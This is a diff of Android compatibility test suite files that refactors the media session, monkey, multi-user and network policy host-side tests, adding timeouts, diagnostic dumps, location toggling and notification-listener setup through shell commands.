+ getDevice().uninstallPackage(MEDIA_SESSION_TEST_HELPER_PKG);
+ mNotificationListeners.clear();
+ mNotificationListenerDisabled = "true".equals(getDevice().getProperty("ro.config.low_ram"));
}
@Override
public void tearDown() throws Exception {
- if (!mHasManagedUsersFeature) {
- return;
- }
-
// Cleanup
- for (int userId : mNotificationListeners.keySet()) {
- String notificationListener = mNotificationListeners.get(userId);
- putSettings(SETTINGS_NOTIFICATION_LISTENER_NAMESPACE,
- SETTINGS_NOTIFICATION_LISTENER_NAME, notificationListener, userId);
+ for (int userId : mNotificationListeners) {
+ setAllowGetActiveSessionForTest(false, userId);
}
super.tearDown();
}
/**
- * Tests {@link MediaSessionManager#getActiveSessions} with the multi-users environment.
+ * Tests {@link MediaSessionManager#getActiveSessions} with the primary user.
*/
@RequiresDevice
- public void testGetActiveSessions() throws Exception {
- if (!mHasManagedUsersFeature) {
+ public void testGetActiveSessions_primaryUser() throws Exception {
+ if (mNotificationListenerDisabled) {
+ CLog.logAndDisplay(LogLevel.INFO,
+ "NotificationListener is disabled. Test won't run.");
return;
}
-
- // Ensure that the previously running media session test helper app doesn't exist.
- getDevice().uninstallPackage(MEDIA_SESSION_TEST_HELPER_PKG);
-
int primaryUserId = getDevice().getPrimaryUserId();
- allowGetActiveSessionForTest(primaryUserId);
+ setAllowGetActiveSessionForTest(true, primaryUserId);
installAppAsUser(DEVICE_SIDE_TEST_APK, primaryUserId);
runTest("testGetActiveSessions_noMediaSessionFromMediaSessionTestHelper");
@@ -107,32 +100,78 @@
sendControlCommand(primaryUserId, FLAG_SET_MEDIA_SESSION_ACTIVE);
runTest("testGetActiveSessions_hasMediaSessionFromMediaSessionTestHelper");
+ }
+ /**
+ * Tests {@link MediaSessionManager#getActiveSessions} with additional users.
+ */
+ @RequiresDevice
+ public void testGetActiveSessions_additionalUser() throws Exception {
if (!canCreateAdditionalUsers(1)) {
- CLog.w("Cannot create a new user. Skipping multi-user test cases.");
+ CLog.logAndDisplay(LogLevel.INFO,
+ "Cannot create a new user. Skipping multi-user test cases.");
+ return;
+ }
+ if (mNotificationListenerDisabled) {
+ CLog.logAndDisplay(LogLevel.INFO,
+ "NotificationListener is disabled. Test won't run.");
return;
}
// Test if another user can get the session.
int newUser = createAndStartUser();
installAppAsUser(DEVICE_SIDE_TEST_APK, newUser);
- allowGetActiveSessionForTest(newUser);
+ setAllowGetActiveSessionForTest(true, newUser);
runTestAsUser("testGetActiveSessions_noMediaSession", newUser);
removeUser(newUser);
+ }
- // Test if another managed profile can get the session.
- // Remove the created user first not to exceed system's user number limit.
- newUser = createAndStartManagedProfile(primaryUserId);
- installAppAsUser(DEVICE_SIDE_TEST_APK, newUser);
- allowGetActiveSessionForTest(newUser);
- runTestAsUser("testGetActiveSessions_noMediaSession", newUser);
- removeUser(newUser);
+ /**
+ * Tests {@link MediaSessionManager#getActiveSessions} with restricted profiles.
+ */
+ @RequiresDevice
+ public void testGetActiveSessions_restrictedProfiles() throws Exception {
+ if (!canCreateAdditionalUsers(1)) {
+ CLog.logAndDisplay(LogLevel.INFO,
+ "Cannot create a new user. Skipping multi-user test cases.");
+ return;
+ }
+ if (mNotificationListenerDisabled) {
+ CLog.logAndDisplay(LogLevel.INFO,
+ "NotificationListener is disabled. Test won't run.");
+ return;
+ }
// Test if another restricted profile can get the session.
// Remove the created user first not to exceed system's user number limit.
- newUser = createAndStartRestrictedProfile(primaryUserId);
+ int newUser = createAndStartRestrictedProfile(getDevice().getPrimaryUserId());
installAppAsUser(DEVICE_SIDE_TEST_APK, newUser);
- allowGetActiveSessionForTest(newUser);
+ setAllowGetActiveSessionForTest(true, newUser);
+ runTestAsUser("testGetActiveSessions_noMediaSession", newUser);
+ removeUser(newUser);
+ }
+
+ /**
+ * Tests {@link MediaSessionManager#getActiveSessions} with managed profiles.
+ */
+ @RequiresDevice
+ public void testGetActiveSessions_managedProfiles() throws Exception {
+ if (!hasDeviceFeature("android.software.managed_users")) {
+ CLog.logAndDisplay(LogLevel.INFO,
+ "Device doesn't support managed profiles. Test won't run.");
+ return;
+ }
+ if (mNotificationListenerDisabled) {
+ CLog.logAndDisplay(LogLevel.INFO,
+ "NotificationListener is disabled. Test won't run.");
+ return;
+ }
+
+ // Test if another managed profile can get the session.
+ // Remove the created user first not to exceed system's user number limit.
+ int newUser = createAndStartManagedProfile(getDevice().getPrimaryUserId());
+ installAppAsUser(DEVICE_SIDE_TEST_APK, newUser);
+ setAllowGetActiveSessionForTest(true, newUser);
runTestAsUser("testGetActiveSessions_noMediaSession", newUser);
removeUser(newUser);
}
@@ -148,43 +187,24 @@
}
/**
- * Allows the {@link #DEVICE_SIDE_TEST_CLASS} to call
- * {@link MediaSessionManager#getActiveSessions} for testing.
+ * Sets to allow or disallow the {@link #DEVICE_SIDE_TEST_CLASS}
+ * to call {@link MediaSessionManager#getActiveSessions} for testing.
* <p>{@link MediaSessionManager#getActiveSessions} bypasses the permission check if the
- * caller is the enabled notification listener. This method uses the behavior by making
- * {@link #DEVICE_SIDE_TEST_CLASS} as the notification listener. So any change in this
- * should be also applied to the class.
+ * caller is the enabled notification listener. This method uses the behavior by allowing
+ * this class as the notification listener service.
* <p>Note that the device-side test {@link android.media.cts.MediaSessionManagerTest} already
* covers the test for failing {@link MediaSessionManager#getActiveSessions} without the
* permission nor the notification listener.
*/
- private void allowGetActiveSessionForTest(int userId) throws Exception {
- final String NOTIFICATION_LISTENER_DELIM = ":";
- if (mNotificationListeners.get(userId) != null) {
- // Already enabled.
- return;
- }
- String list = getSettings(SETTINGS_NOTIFICATION_LISTENER_NAMESPACE,
- SETTINGS_NOTIFICATION_LISTENER_NAME, userId);
-
+ private void setAllowGetActiveSessionForTest(boolean allow, int userId) throws Exception {
String notificationListener = DEVICE_SIDE_TEST_PKG + "/" + DEVICE_SIDE_TEST_CLASS;
- // Ensure that the list doesn't contain notificationListener already.
- // This can happen if the test is killed while running.
- StringTokenizer tokenizer = new StringTokenizer(list, NOTIFICATION_LISTENER_DELIM);
- StringJoiner joiner = new StringJoiner(NOTIFICATION_LISTENER_DELIM);
- while (tokenizer.hasMoreTokens()) {
- String token = tokenizer.nextToken();
- if (!token.isEmpty() && !token.equals(notificationListener)) {
- joiner.add(token);
- }
+ String command = "cmd notification "
+ + ((allow) ? "allow_listener " : "disallow_listener ")
+ + notificationListener + " " + userId;
+ executeShellCommand(command);
+ if (allow) {
+ mNotificationListeners.add(userId);
}
- list = joiner.toString();
- // Preserve the original list.
- mNotificationListeners.put(userId, list);
- // Allow get active sessions by setting notification listener.
- joiner.add(notificationListener);
- putSettings(SETTINGS_NOTIFICATION_LISTENER_NAMESPACE,
- SETTINGS_NOTIFICATION_LISTENER_NAME, joiner.toString(), userId);
}
private void sendControlCommand(int userId, int flag) throws Exception {
diff --git a/hostsidetests/monkey/Android.mk b/hostsidetests/monkey/Android.mk
index 7c7ecb5..052313c 100644
--- a/hostsidetests/monkey/Android.mk
+++ b/hostsidetests/monkey/Android.mk
@@ -28,7 +28,7 @@
LOCAL_CTS_TEST_PACKAGE := zzz.android.monkey
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_CTS_HOST_JAVA_LIBRARY)
diff --git a/hostsidetests/monkey/src/com/android/cts/monkey/CategoryTest.java b/hostsidetests/monkey/src/com/android/cts/monkey/CategoryTest.java
index ff04f6c..f3bb5d9 100644
--- a/hostsidetests/monkey/src/com/android/cts/monkey/CategoryTest.java
+++ b/hostsidetests/monkey/src/com/android/cts/monkey/CategoryTest.java
@@ -16,31 +16,73 @@
package com.android.cts.monkey;
+import com.android.tradefed.device.CollectingOutputReceiver;
+
+import java.util.concurrent.TimeUnit;
+
public class CategoryTest extends AbstractMonkeyTest {
+ private static final long MAX_TIMEOUT = 5 * 60 * 1000; // 5 min
+
public void testDefaultCategories() throws Exception {
- String out = mDevice.executeShellCommand(MONKEY_CMD + " -v -p " + PKGS[0] + " 5000");
- assertTrue(out.contains("cmp=com.android.cts.monkey/.MonkeyActivity"));
- assertTrue(out.contains("cmp=com.android.cts.monkey/.BaboonActivity"));
+ String cmd = MONKEY_CMD + " -v -p " + PKGS[0] + " 5000";
+ CollectingOutputReceiver receiver = new CollectingOutputReceiver();
+ try {
+ mDevice.executeShellCommand(cmd, receiver, MAX_TIMEOUT, TimeUnit.MILLISECONDS, 0);
+ String out = receiver.getOutput();
+ assertTrue(out.contains("cmp=com.android.cts.monkey/.MonkeyActivity"));
+ assertTrue(out.contains("cmp=com.android.cts.monkey/.BaboonActivity"));
+ } finally {
+ receiver.cancel();
+ receiver.clearBuffer();
+ receiver = null;
+ }
}
public void testSingleCategory() throws Exception {
- String out = mDevice.executeShellCommand(MONKEY_CMD + " -v -p " + PKGS[0]
- + " -c android.intent.category.LAUNCHER 5000");
- assertTrue(out.contains("cmp=com.android.cts.monkey/.MonkeyActivity"));
- assertFalse(out.contains("cmp=com.android.cts.monkey/.BaboonActivity"));
+ String cmd = MONKEY_CMD + " -v -p " + PKGS[0]
+ + " -c android.intent.category.LAUNCHER 5000";
+ CollectingOutputReceiver receiver = new CollectingOutputReceiver();
+ try {
+ mDevice.executeShellCommand(cmd, receiver, MAX_TIMEOUT, TimeUnit.MILLISECONDS, 0);
+ String out = receiver.getOutput();
+ assertTrue(out.contains("cmp=com.android.cts.monkey/.MonkeyActivity"));
+ assertFalse(out.contains("cmp=com.android.cts.monkey/.BaboonActivity"));
+ } finally {
+ receiver.cancel();
+ receiver.clearBuffer();
+ receiver = null;
+ }
- out = mDevice.executeShellCommand(MONKEY_CMD + " -v -p " + PKGS[0]
- + " -c android.intent.category.MONKEY 5000");
- assertFalse(out.contains("cmp=com.android.cts.monkey/.MonkeyActivity"));
- assertTrue(out.contains("cmp=com.android.cts.monkey/.BaboonActivity"));
+ CollectingOutputReceiver receiver2 = new CollectingOutputReceiver();
+ try {
+ mDevice.executeShellCommand(MONKEY_CMD + " -v -p " + PKGS[0]
+ + " -c android.intent.category.MONKEY 5000", receiver2, MAX_TIMEOUT,
+ TimeUnit.MILLISECONDS, 0);
+ String out = receiver2.getOutput();
+ assertFalse(out.contains("cmp=com.android.cts.monkey/.MonkeyActivity"));
+ assertTrue(out.contains("cmp=com.android.cts.monkey/.BaboonActivity"));
+ } finally {
+ receiver2.cancel();
+ receiver2.clearBuffer();
+ receiver2 = null;
+ }
}
public void testMultipleCategories() throws Exception {
- String out = mDevice.executeShellCommand(MONKEY_CMD + " -v -p " + PKGS[0]
+ String cmd = MONKEY_CMD + " -v -p " + PKGS[0]
+ " -c android.intent.category.LAUNCHER"
- + " -c android.intent.category.MONKEY 5000");
- assertTrue(out.contains("cmp=com.android.cts.monkey/.MonkeyActivity"));
- assertTrue(out.contains("cmp=com.android.cts.monkey/.BaboonActivity"));
+ + " -c android.intent.category.MONKEY 5000";
+ CollectingOutputReceiver receiver = new CollectingOutputReceiver();
+ try {
+ mDevice.executeShellCommand(cmd, receiver, MAX_TIMEOUT, TimeUnit.MILLISECONDS, 0);
+ String out = receiver.getOutput();
+ assertTrue(out.contains("cmp=com.android.cts.monkey/.MonkeyActivity"));
+ assertTrue(out.contains("cmp=com.android.cts.monkey/.BaboonActivity"));
+ } finally {
+ receiver.cancel();
+ receiver.clearBuffer();
+ receiver = null;
+ }
}
}
diff --git a/hostsidetests/monkey/src/com/android/cts/monkey/MonkeyTest.java b/hostsidetests/monkey/src/com/android/cts/monkey/MonkeyTest.java
index 997f7c6..0241879 100644
--- a/hostsidetests/monkey/src/com/android/cts/monkey/MonkeyTest.java
+++ b/hostsidetests/monkey/src/com/android/cts/monkey/MonkeyTest.java
@@ -16,6 +16,7 @@
package com.android.cts.monkey;
+import com.android.ddmlib.NullOutputReceiver;
import com.android.tradefed.device.DeviceNotAvailableException;
import java.util.Scanner;
@@ -32,7 +33,8 @@
public void testNotMonkey() throws Exception {
mDevice.executeShellCommand("am start -W -a android.intent.action.MAIN "
- + "-n com.android.cts.monkey/com.android.cts.monkey.MonkeyActivity");
+ + "-n com.android.cts.monkey/com.android.cts.monkey.MonkeyActivity",
+ new NullOutputReceiver());
assertIsUserAMonkey(false);
}
diff --git a/hostsidetests/monkey/src/com/android/cts/monkey/PackageTest.java b/hostsidetests/monkey/src/com/android/cts/monkey/PackageTest.java
index 986304c..b3a22d6 100644
--- a/hostsidetests/monkey/src/com/android/cts/monkey/PackageTest.java
+++ b/hostsidetests/monkey/src/com/android/cts/monkey/PackageTest.java
@@ -16,10 +16,14 @@
package com.android.cts.monkey;
+import com.android.tradefed.device.CollectingOutputReceiver;
+
+import java.util.concurrent.TimeUnit;
import java.util.regex.Pattern;
public class PackageTest extends AbstractMonkeyTest {
+ private static final long MAX_TIMEOUT = 5 * 60 * 1000; // 5 min
private static final int MAX_ERROR_LENGTH = 256;
private static final Pattern ALLOW_MONKEY =
Pattern.compile("^.*Allowing.*cmp=com\\.android\\.cts\\.monkey/\\.MonkeyActivity.*$",
@@ -30,23 +34,49 @@
Pattern.MULTILINE);
public void testSinglePackage() throws Exception {
- String out = mDevice.executeShellCommand(MONKEY_CMD + " -v -p " + PKGS[0] + " 5000");
- String error = truncateError(out);
- assertTrue("Monkey not found in: " + error, ALLOW_MONKEY.matcher(out).find());
- assertFalse("Chimp found in: " + error, ALLOW_CHIMP.matcher(out).find());
+ String cmd = MONKEY_CMD + " -v -p " + PKGS[0] + " 5000";
+ CollectingOutputReceiver receiver = new CollectingOutputReceiver();
+ try {
+ mDevice.executeShellCommand(cmd, receiver, MAX_TIMEOUT, TimeUnit.MILLISECONDS, 0);
+ String out = receiver.getOutput();
+ String error = truncateError(out);
+ assertTrue("Monkey not found in: " + error, ALLOW_MONKEY.matcher(out).find());
+ assertFalse("Chimp found in: " + error, ALLOW_CHIMP.matcher(out).find());
+ } finally {
+ receiver.cancel();
+ receiver.clearBuffer();
+ receiver = null;
+ }
- out = mDevice.executeShellCommand(MONKEY_CMD + " -v -p " + PKGS[1] + " 5000");
- error = truncateError(out);
- assertFalse("Monkey found in: " + error, ALLOW_MONKEY.matcher(out).find());
- assertTrue("Chimp not found in: " + error, ALLOW_CHIMP.matcher(out).find());
+ String cmd2 = MONKEY_CMD + " -v -p " + PKGS[1] + " 5000";
+ CollectingOutputReceiver receiver2 = new CollectingOutputReceiver();
+ try {
+ mDevice.executeShellCommand(cmd2, receiver2, MAX_TIMEOUT, TimeUnit.MILLISECONDS, 0);
+ String out = receiver2.getOutput();
+ String error = truncateError(out);
+ assertFalse("Monkey found in: " + error, ALLOW_MONKEY.matcher(out).find());
+ assertTrue("Chimp not found in: " + error, ALLOW_CHIMP.matcher(out).find());
+ } finally {
+ receiver2.cancel();
+ receiver2.clearBuffer();
+ receiver2 = null;
+ }
}
public void testMultiplePackages() throws Exception {
- String out = mDevice.executeShellCommand(MONKEY_CMD + " -v -p " + PKGS[0]
- + " -p " + PKGS[1] + " 5000");
- String error = truncateError(out);
- assertTrue("Monkey not found in: " + error, ALLOW_MONKEY.matcher(out).find());
- assertTrue("Chimp not found in: " + error, ALLOW_CHIMP.matcher(out).find());
+ String cmd = MONKEY_CMD + " -v -p " + PKGS[0] + " -p " + PKGS[1] + " 5000";
+ CollectingOutputReceiver receiver = new CollectingOutputReceiver();
+ try {
+ mDevice.executeShellCommand(cmd, receiver, MAX_TIMEOUT, TimeUnit.MILLISECONDS, 0);
+ String out = receiver.getOutput();
+ String error = truncateError(out);
+ assertTrue("Monkey not found in: " + error, ALLOW_MONKEY.matcher(out).find());
+ assertTrue("Chimp not found in: " + error, ALLOW_CHIMP.matcher(out).find());
+ } finally {
+ receiver.cancel();
+ receiver.clearBuffer();
+ receiver = null;
+ }
}
private static final String truncateError(String input) {
diff --git a/hostsidetests/monkey/src/com/android/cts/monkey/SeedTest.java b/hostsidetests/monkey/src/com/android/cts/monkey/SeedTest.java
index a0016e2..973e986 100644
--- a/hostsidetests/monkey/src/com/android/cts/monkey/SeedTest.java
+++ b/hostsidetests/monkey/src/com/android/cts/monkey/SeedTest.java
@@ -25,7 +25,9 @@
String out1 = mDevice.executeShellCommand(cmd1);
String out2 = mDevice.executeShellCommand(cmd1);
assertOutputs(out1, out2);
+ }
+ public void testSeed2() throws Exception {
String cmd2 = MONKEY_CMD + " -s 3007 -v -p " + PKGS[0] + " 125";
String out3 = mDevice.executeShellCommand(cmd2);
String out4 = mDevice.executeShellCommand(cmd2);
diff --git a/hostsidetests/monkey/test-apps/CtsMonkeyApp/Android.mk b/hostsidetests/monkey/test-apps/CtsMonkeyApp/Android.mk
index 573b488..868a3bd 100644
--- a/hostsidetests/monkey/test-apps/CtsMonkeyApp/Android.mk
+++ b/hostsidetests/monkey/test-apps/CtsMonkeyApp/Android.mk
@@ -31,6 +31,6 @@
LOCAL_DEX_PREOPT := false
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/monkey/test-apps/CtsMonkeyApp2/Android.mk b/hostsidetests/monkey/test-apps/CtsMonkeyApp2/Android.mk
index 22c8bf3..150d0b6 100644
--- a/hostsidetests/monkey/test-apps/CtsMonkeyApp2/Android.mk
+++ b/hostsidetests/monkey/test-apps/CtsMonkeyApp2/Android.mk
@@ -31,6 +31,6 @@
LOCAL_DEX_PREOPT := false
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/multiuser/Android.mk b/hostsidetests/multiuser/Android.mk
index ec18912..9827ca7 100644
--- a/hostsidetests/multiuser/Android.mk
+++ b/hostsidetests/multiuser/Android.mk
@@ -27,7 +27,7 @@
LOCAL_CTS_TEST_PACKAGE := android.host.multiuser
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_CTS_HOST_JAVA_LIBRARY)
diff --git a/hostsidetests/multiuser/src/android/host/multiuser/CreateUsersNoAppCrashesTest.java b/hostsidetests/multiuser/src/android/host/multiuser/CreateUsersNoAppCrashesTest.java
index 5d4b89e..4b4d3a5 100644
--- a/hostsidetests/multiuser/src/android/host/multiuser/CreateUsersNoAppCrashesTest.java
+++ b/hostsidetests/multiuser/src/android/host/multiuser/CreateUsersNoAppCrashesTest.java
@@ -29,7 +29,7 @@
public class CreateUsersNoAppCrashesTest extends BaseMultiUserTest {
private int mInitialUserId;
private static final long LOGCAT_POLL_INTERVAL_MS = 5000;
- private static final long BOOT_COMPLETED_TIMEOUT_MS = 120000;
+ private static final long BOOT_COMPLETED_TIMEOUT_MS = 180000;
@Override
protected void setUp() throws Exception {
diff --git a/hostsidetests/net/Android.mk b/hostsidetests/net/Android.mk
index 1c3f053..7270580 100644
--- a/hostsidetests/net/Android.mk
+++ b/hostsidetests/net/Android.mk
@@ -26,7 +26,7 @@
LOCAL_CTS_TEST_PACKAGE := android.net.hostsidenetwork
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_CTS_HOST_JAVA_LIBRARY)
diff --git a/hostsidetests/net/AndroidTest.xml b/hostsidetests/net/AndroidTest.xml
index ad7f81b..4a2e2e3 100644
--- a/hostsidetests/net/AndroidTest.xml
+++ b/hostsidetests/net/AndroidTest.xml
@@ -15,6 +15,7 @@
-->
<configuration description="Config for CTS net host test cases">
<option name="config-descriptor:metadata" key="component" value="networking" />
+ <target_preparer class="com.android.cts.net.NetPolicyTestsPreparer" />
<test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
<option name="jar" value="CtsHostsideNetworkTests.jar" />
<option name="runtime-hint" value="3m56s" />
diff --git a/hostsidetests/net/app/Android.mk b/hostsidetests/net/app/Android.mk
index 1c1a798..f094f3f 100644
--- a/hostsidetests/net/app/Android.mk
+++ b/hostsidetests/net/app/Android.mk
@@ -31,6 +31,6 @@
LOCAL_DEX_PREOPT := false
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/net/app/AndroidManifest.xml b/hostsidetests/net/app/AndroidManifest.xml
index 0598a3b..7466cb8 100644
--- a/hostsidetests/net/app/AndroidManifest.xml
+++ b/hostsidetests/net/app/AndroidManifest.xml
@@ -21,6 +21,8 @@
<uses-permission android:name="android.permission.ACCESS_WIFI_STATE"/>
<uses-permission android:name="android.permission.CHANGE_WIFI_STATE"/>
<uses-permission android:name="android.permission.INTERNET"/>
+ <uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION" />
+ <uses-permission android:name="android.permission.WRITE_SECURE_SETTINGS" />
<application>
<uses-library android:name="android.test.runner" />
diff --git a/hostsidetests/net/app/src/com/android/cts/net/hostside/AbstractDozeModeTestCase.java b/hostsidetests/net/app/src/com/android/cts/net/hostside/AbstractDozeModeTestCase.java
index c2dce38..f20f1d1 100644
--- a/hostsidetests/net/app/src/com/android/cts/net/hostside/AbstractDozeModeTestCase.java
+++ b/hostsidetests/net/app/src/com/android/cts/net/hostside/AbstractDozeModeTestCase.java
@@ -129,7 +129,7 @@
public void testBackgroundNetworkAccess_enabledButWhitelistedOnNotificationAction()
throws Exception {
- if (!isSupported()) return;
+ if (!isSupported() || isLowRamDevice()) return;
setPendingIntentWhitelistDuration(NETWORK_TIMEOUT_MS);
try {
diff --git a/hostsidetests/net/app/src/com/android/cts/net/hostside/AbstractRestrictBackgroundNetworkTestCase.java b/hostsidetests/net/app/src/com/android/cts/net/hostside/AbstractRestrictBackgroundNetworkTestCase.java
index f3d5d2c..ce56d25 100644
--- a/hostsidetests/net/app/src/com/android/cts/net/hostside/AbstractRestrictBackgroundNetworkTestCase.java
+++ b/hostsidetests/net/app/src/com/android/cts/net/hostside/AbstractRestrictBackgroundNetworkTestCase.java
@@ -26,13 +26,14 @@
import java.util.concurrent.LinkedBlockingQueue;
import java.util.concurrent.TimeUnit;
+import android.app.ActivityManager;
import android.app.Instrumentation;
+import android.app.NotificationManager;
import android.content.BroadcastReceiver;
import android.content.ComponentName;
import android.content.Context;
import android.content.Intent;
import android.content.IntentFilter;
-import android.content.pm.PackageManager;
import android.net.ConnectivityManager;
import android.net.NetworkInfo;
import android.net.NetworkInfo.DetailedState;
@@ -42,6 +43,7 @@
import android.os.Binder;
import android.os.Bundle;
import android.os.SystemClock;
+import android.provider.Settings;
import android.service.notification.NotificationListenerService;
import android.test.InstrumentationTestCase;
import android.text.TextUtils;
@@ -116,6 +118,7 @@
private MyServiceClient mServiceClient;
private String mDeviceIdleConstantsSetting;
private boolean mSupported;
+ private boolean mIsLocationOn;
@Override
protected void setUp() throws Exception {
@@ -130,20 +133,49 @@
mServiceClient = new MyServiceClient(mContext);
mServiceClient.bind();
mDeviceIdleConstantsSetting = "device_idle_constants";
+ mIsLocationOn = isLocationOn();
+ if (!mIsLocationOn) {
+ enableLocation();
+ }
mSupported = setUpActiveNetworkMeteringState();
Log.i(TAG, "Apps status on " + getName() + ":\n"
+ "\ttest app: uid=" + mMyUid + ", state=" + getProcessStateByUid(mMyUid) + "\n"
+ "\tapp2: uid=" + mUid + ", state=" + getProcessStateByUid(mUid));
+ executeShellCommand("settings get global app_idle_constants");
}
@Override
protected void tearDown() throws Exception {
+ if (!mIsLocationOn) {
+ disableLocation();
+ }
mServiceClient.unbind();
super.tearDown();
}
+ private void enableLocation() throws Exception {
+ Settings.Secure.putInt(mContext.getContentResolver(), Settings.Secure.LOCATION_MODE,
+ Settings.Secure.LOCATION_MODE_SENSORS_ONLY);
+ assertEquals(Settings.Secure.LOCATION_MODE_SENSORS_ONLY,
+ Settings.Secure.getInt(mContext.getContentResolver(),
+ Settings.Secure.LOCATION_MODE));
+ }
+
+ private void disableLocation() throws Exception {
+ Settings.Secure.putInt(mContext.getContentResolver(), Settings.Secure.LOCATION_MODE,
+ Settings.Secure.LOCATION_MODE_OFF);
+ assertEquals(Settings.Secure.LOCATION_MODE_OFF,
+ Settings.Secure.getInt(mContext.getContentResolver(),
+ Settings.Secure.LOCATION_MODE));
+ }
+
+ private boolean isLocationOn() throws Exception {
+ return Settings.Secure.getInt(mContext.getContentResolver(),
+ Settings.Secure.LOCATION_MODE) != Settings.Secure.LOCATION_MODE_OFF;
+ }
+
protected int getUid(String packageName) throws Exception {
return mContext.getPackageManager().getPackageUid(packageName, 0);
}
@@ -353,14 +385,47 @@
Log.w(TAG, "Network status didn't match for expectAvailable=" + expectAvailable
+ " on attempt #" + i + ": " + error + "\n"
+ "Sleeping " + timeoutMs + "ms before trying again");
- SystemClock.sleep(timeoutMs);
+ // No sleep after the last turn
+ if (i < maxTries) {
+ SystemClock.sleep(timeoutMs);
+ }
// Exponential back-off.
timeoutMs = Math.min(timeoutMs*2, NETWORK_TIMEOUT_MS);
}
+ dumpOnFailure();
fail("Invalid state for expectAvailable=" + expectAvailable + " after " + maxTries
+ " attempts.\nLast error: " + error);
}
+ private void dumpOnFailure() throws Exception {
+ dumpAllNetworkRules();
+ Log.d(TAG, "Usagestats dump: " + getUsageStatsDump());
+ executeShellCommand("settings get global app_idle_constants");
+ }
+
+ private void dumpAllNetworkRules() throws Exception {
+ final String networkManagementDump = runShellCommand(mInstrumentation,
+ "dumpsys network_management").trim();
+ final String networkPolicyDump = runShellCommand(mInstrumentation,
+ "dumpsys netpolicy").trim();
+ TextUtils.SimpleStringSplitter splitter = new TextUtils.SimpleStringSplitter('\n');
+ splitter.setString(networkManagementDump);
+ String next;
+ Log.d(TAG, ">>> Begin network_management dump");
+ while (splitter.hasNext()) {
+ next = splitter.next();
+ Log.d(TAG, next);
+ }
+ Log.d(TAG, "<<< End network_management dump");
+ splitter.setString(networkPolicyDump);
+ Log.d(TAG, ">>> Begin netpolicy dump");
+ while (splitter.hasNext()) {
+ next = splitter.next();
+ Log.d(TAG, next);
+ }
+ Log.d(TAG, "<<< End netpolicy dump");
+ }
+
/**
* Checks whether the network is available as expected.
*
@@ -412,6 +477,12 @@
return errors.toString();
}
+ protected boolean isLowRamDevice() {
+ final ActivityManager am = (ActivityManager) mContext.getSystemService(
+ Context.ACTIVITY_SERVICE);
+ return am.isLowRamDevice();
+ }
+
protected String executeShellCommand(String command) throws Exception {
final String result = runShellCommand(mInstrumentation, command).trim();
if (DEBUG) Log.d(TAG, "Command '" + command + "' returned '" + result + "'");
@@ -558,11 +629,15 @@
NetworkInfo info = null;
for (int i = 1; i <= maxTries; i++) {
info = mCm.getActiveNetworkInfo();
- if (info != null) {
+ if (info == null) {
+ Log.v(TAG, "No active network info on attempt #" + i
+ + "; sleeping 1s before polling again");
+ } else if (mCm.isActiveNetworkMetered() != expected) {
+ Log.v(TAG, "Wrong metered status for active network " + info + "; expected="
+ + expected + "; sleeping 1s before polling again");
+ } else {
break;
}
- Log.v(TAG, "No active network info on attempt #" + i
- + "; sleeping 1s before polling again");
Thread.sleep(SECOND_IN_MS);
}
assertNotNull("No active network after " + maxTries + " attempts", info);
@@ -801,16 +876,8 @@
protected void setAppIdle(boolean enabled) throws Exception {
Log.i(TAG, "Setting app idle to " + enabled);
- final String beforeStats = getUsageStatsDump();
executeSilentShellCommand("am set-inactive " + TEST_APP2_PKG + " " + enabled );
- try {
- assertAppIdle(enabled); // Sanity check
- } catch (Throwable e) {
- final String afterStats = getUsageStatsDump();
- Log.d(TAG, "UsageStats before:\n" + beforeStats);
- Log.d(TAG, "UsageStats after:\n" + afterStats);
- throw e;
- }
+ assertAppIdle(enabled); // Sanity check
}
private String getUsageStatsDump() throws Exception {
@@ -825,7 +892,7 @@
&& !str.contains(TEST_PKG) && !str.contains(TEST_APP2_PKG)) {
continue;
}
- if (str.contains("config=")) {
+ if (str.trim().startsWith("config=") || str.trim().startsWith("time=")) {
continue;
}
sb.append(str).append('\n');
@@ -834,7 +901,13 @@
}
protected void assertAppIdle(boolean enabled) throws Exception {
- assertDelayedShellCommand("am get-inactive " + TEST_APP2_PKG, 15, 2, "Idle=" + enabled);
+ try {
+ assertDelayedShellCommand("am get-inactive " + TEST_APP2_PKG, 15, 2, "Idle=" + enabled);
+ } catch (Throwable e) {
+ Log.d(TAG, "UsageStats dump:\n" + getUsageStatsDump());
+ executeShellCommand("settings get global app_idle_constants");
+ throw e;
+ }
}
/**
@@ -868,19 +941,12 @@
* notification actions right after the notification is sent.
*/
protected void registerNotificationListenerService() throws Exception {
- final StringBuilder listeners = new StringBuilder(getNotificationListenerServices());
- if (listeners.length() > 0) {
- listeners.append(":");
- }
- listeners.append(MyNotificationListenerService.getId());
- executeShellCommand("settings put secure enabled_notification_listeners " + listeners);
- final String newListeners = getNotificationListenerServices();
- assertEquals("Failed to set 'enabled_notification_listeners'",
- listeners.toString(), newListeners);
- }
-
- private String getNotificationListenerServices() throws Exception {
- return executeShellCommand("settings get secure enabled_notification_listeners");
+ executeShellCommand("cmd notification allow_listener "
+ + MyNotificationListenerService.getId());
+ final NotificationManager nm = mContext.getSystemService(NotificationManager.class);
+ final ComponentName listenerComponent = MyNotificationListenerService.getComponentName();
+ assertTrue(listenerComponent + " has not been granted access",
+ nm.isNotificationListenerAccessGranted(listenerComponent));
}
protected void setPendingIntentWhitelistDuration(int durationMs) throws Exception {
@@ -916,10 +982,12 @@
// App didn't come to foreground when the activity is started, so try again.
assertForegroundNetworkAccess();
} else {
+ dumpOnFailure();
fail("Network is not available for app2 (" + mUid + "): " + errors[0]);
}
}
